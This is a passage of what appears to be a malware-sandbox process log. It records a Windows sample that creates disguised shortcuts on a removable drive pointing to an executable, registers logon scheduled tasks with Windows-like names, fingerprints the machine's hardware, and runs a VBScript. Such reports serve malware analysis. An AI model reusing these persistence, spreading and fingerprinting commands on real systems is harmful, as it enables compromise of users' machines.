    PID:5524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
    3⤵
    PID:5908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Backup_2025.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    PID:5808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-Process -Name 'windowsmodules_service' -ErrorAction SilentlyContinue).Count"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:6332
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:7328
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:7004
- - C:\Windows\system32\cmd.exe
    cmd /c ver
    3⤵
    PID:6600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command (Get-Culture).Name
    3⤵
    PID:6800
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:7720
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
    3⤵
    PID:8120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
    3⤵
    PID:6412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
    3⤵
    PID:6808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    PID:5996
- - C:\Windows\system32\cscript.exe
    cscript //nologo F:\svc.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:4452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-Process -Name 'windowsmodules_service' -ErrorAction SilentlyContinue).Count"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:8120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    PID:7520
- - C:\Windows\system32\cscript.exe
    cscript //nologo F:\svc.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:8156
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:1808
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5124
- - C:\Windows\system32\cmd.exe
    cmd /c ver
    3⤵
    PID:8008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command (Get-Culture).Name
    3⤵
    PID:5356
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:992
- - C:\Windows\system32\cmd.exe
    cmd /c "vol %systemdrive% 2>nul"
    3⤵
    - Executes a command shell one-liner
    PID:5772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
    3⤵
    PID:1312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    PID:2644
- - C:\Windows\system32\cscript.exe
    cscript //nologo F:\svc.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:4460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-Process -Name 'windowsmodules_service' -ErrorAction SilentlyContinue).Count"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:5416
- C:\Windows\SoftwareDistribution\WindowsPush_Agent.exe
  C:\Windows\SoftwareDistribution\WindowsPush_Agent.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
    3⤵
    PID:3200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
    3⤵
    PID:3880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
    3⤵
    PID:3328
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn WindowsShell_Helper /tr "C:\ProgramData\Microsoft\Windows\Start Menu\WindowsManager_Service.exe" /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5996
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn WindowsModules_Install /tr C:\ProgramData\Microsoft\Diagnosis\WindowsPush_Manager.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6096
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn WindowsShell_Engine /tr C:\ProgramData\Microsoft\Windows\WindowsUpdate\WindowsUpdate_Client.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6136
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:5540
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:6084
- - C:\Windows\system32\cmd.exe
    cmd /c ver
    3⤵
    - Executes a command shell one-liner
    PID:5836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command (Get-Culture).Name
    3⤵
    PID:2668
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:5096
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
    3⤵
    PID:3564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
    3⤵
    PID:6612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
    3⤵
    PID:3660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-Process -Name 'windowsmanager_service' -ErrorAction SilentlyContinue).Count"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:6396
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:7656
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:7356
- - C:\Windows\system32\cmd.exe
    cmd /c ver
    3⤵
    PID:8180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command (Get-Culture).Name
    3⤵
    PID:6812
  - - C:\Windows\system32\wermgr.exe
      "C:\Windows\system32\wermgr.exe" "-outproc" "0" "6812" "2112" "2040" "2116" "0" "0" "2120" "0" "0" "0" "0" "0"
      4⤵
      PID:6316
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:7044
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:7276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
    3⤵
    PID:6160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
    3⤵
    PID:6524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
    3⤵
    PID:6328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Backup_2025.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    PID:6516
- - C:\Windows\system32\cscript.exe
    cscript //nologo F:\svc.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:2772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-Process -Name 'windowsmanager_service' -ErrorAction SilentlyContinue).Count"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:7900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Backup_2025.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8076
- - C:\Windows\system32\cscript.exe
    cscript //nologo F:\svc.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:7972
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:760
- - C:\Windows\system32\cmd.exe
    cmd /c "vol %systemdrive% 2>nul"
    3⤵
    - Executes a command shell one-liner
    PID:4296
- - C:\Windows\system32\cmd.exe
    cmd /c ver
    3⤵
    - Executes a command shell one-liner
    PID:1812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command (Get-Culture).Name
    3⤵
    PID:2168
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:3564
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5988
- - C:\Windows\system32\cmd.exe
    cmd /c "vol %systemdrive% 2>nul"
    3⤵
    PID:6520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
    3⤵
    PID:1312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
    3⤵
    PID:7232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
    3⤵
    PID:5180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    PID:5904
- - C:\Windows\system32\cscript.exe
    cscript //nologo F:\svc.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:3256
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-Process -Name 'windowsmanager_service' -ErrorAction SilentlyContinue).Count"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:5220
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3456
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  - Executes a command shell one-liner
  PID:3996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2984
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3236
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
  2⤵
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  PID:2704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'windowsupdate_client' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:1960
- C:\ProgramData\Microsoft\Windows\Start Menu\WindowsUpdate_Client.exe
  "C:\ProgramData\Microsoft\Windows\Start Menu\WindowsUpdate_Client.exe"
  2⤵
  - Executes dropped EXE
  PID:4996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    PID:1408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
    3⤵
    PID:3972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
    3⤵
    PID:5560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6196
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn WindowsShell_Provider /tr C:\Windows\Inf\WindowsUpdate_Checker.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    PID:5248
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn WindowsShell_Installer /tr C:\Windows\System32\Tasks\MicrosoftEdge\WindowsShell_Engine.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8072
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn SecurityHealthService /tr C:\Windows\ModemLogs\WindowsUpdate_Client.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8024
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:3368
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5236
- - C:\Windows\system32\cmd.exe
    cmd /c "vol %systemdrive% 2>nul"
    3⤵
    PID:8060
- - C:\Windows\system32\cmd.exe
    cmd /c ver
    3⤵
    - Executes a command shell one-liner
    PID:1764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command (Get-Culture).Name
    3⤵
    PID:7324
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:7192
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:6280
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
    3⤵
    PID:8088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
    3⤵
    PID:6400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
    3⤵
    PID:6352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Documents.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    PID:7892
- - C:\Windows\system32\cscript.exe
    cscript //nologo F:\svc.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:7568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-Process -Name 'windowsupdate_checker' -ErrorAction SilentlyContinue).Count"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:8004
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:7444
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:1212
- - C:\Windows\system32\cmd.exe
    cmd /c ver
    3⤵
    PID:2796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command (Get-Culture).Name
    3⤵
    PID:6400
- - C:\Windows\system32\cmd.exe
    cmd /c "vol %systemdrive% 2>nul"
    3⤵
    PID:1488
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
    3⤵
    PID:2696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
    3⤵
    PID:4928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    PID:640
- - C:\Windows\system32\cscript.exe
    cscript //nologo F:\svc.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:4692
- C:\Users\Public\Documents\WindowsPush_Provider.exe
  C:\Users\Public\Documents\WindowsPush_Provider.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    PID:1332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    PID:3388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
    3⤵
    PID:7024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
    3⤵
    PID:5272
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
    3⤵
    PID:6520
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn WindowsShell_Engine /tr C:\Windows\Media\NetworkBroker_Update.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6560
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn RuntimeBroker_Service /tr C:\Windows\System32\Tasks\Microsoft\WindowsPush_Agent.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7120
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn WindowsShell_Experience /tr C:\ProgramData\Microsoft\Windows\WindowsDefender_Update.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6564
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:7652
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:7896
- - C:\Windows\system32\cmd.exe
    cmd /c ver
    3⤵
    PID:7548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command (Get-Culture).Name
    3⤵
    PID:6524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
    3⤵
    PID:7632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
    3⤵
    PID:7728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
    3⤵
    PID:5604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Backup_2025.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-Process -Name 'networkbroker_update' -ErrorAction SilentlyContinue).Count"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:6676
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:5348
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:7280
- - C:\Windows\system32\cmd.exe
    cmd /c "vol %systemdrive% 2>nul"
    3⤵
    - Executes a command shell one-liner
    PID:4692
- - C:\Windows\system32\cmd.exe
    cmd /c ver
    3⤵
    PID:8124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command (Get-Culture).Name
    3⤵
    PID:6828
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:7724
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:7136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
    3⤵
    PID:3560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
    3⤵
    PID:6168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
    3⤵
    PID:3728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
